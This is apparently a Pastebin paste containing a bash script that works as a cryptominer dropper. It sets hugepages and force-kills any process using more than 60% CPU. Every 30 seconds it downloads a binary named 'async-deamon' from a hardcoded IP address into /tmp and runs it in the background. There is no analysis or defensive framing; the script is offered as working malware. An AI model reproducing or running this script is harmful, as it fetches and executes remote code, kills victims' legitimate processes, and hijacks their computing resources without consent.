Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/bin/bash
- function kills() {
- /bin/ps axf -o "pid %cpu command" |grep -v async-deamon | awk '{if($2>60.0) print $1}' | while read procid
- do
- kill -9 $procid
- done
- }
- function hugepage() {
- echo 128 > /proc/sys/vm/nr_hugepages
- sysctl -w vm.nr_hugepages=128
- }
- function downloadyam() {
- if [ ! -f "async-deamon" ] ;then
- curl http://94.177.123.123/css/async-deamon > /tmp/async-deamon && chmod +x /tmp/async-deamon
- if [ ! -f "async-deamon" ] ;then
- wget -P /tmp/ curl http://94.177.123.123/css/async-deamon && chmod +x /tmp/async-deamon
- rm -rf /tmp/async-deamon.*
- fi
- /tmp/async-deamon &
- else
- p=$(ps aux | grep async-deamon | grep -v grep | wc -l)
- if [ ${p} -eq 1 ];then
- echo "async-deamon"
- elif [ ${p} -eq 0 ];then
- /tmp/async-deamon &
- else
- echo ""
- fi
- fi
- }
- cd /tmp/
- while [ 1 ]
- do
- downloadyam
- kills
- sleep 30
- done
Add Comment
Please, Sign In to add comment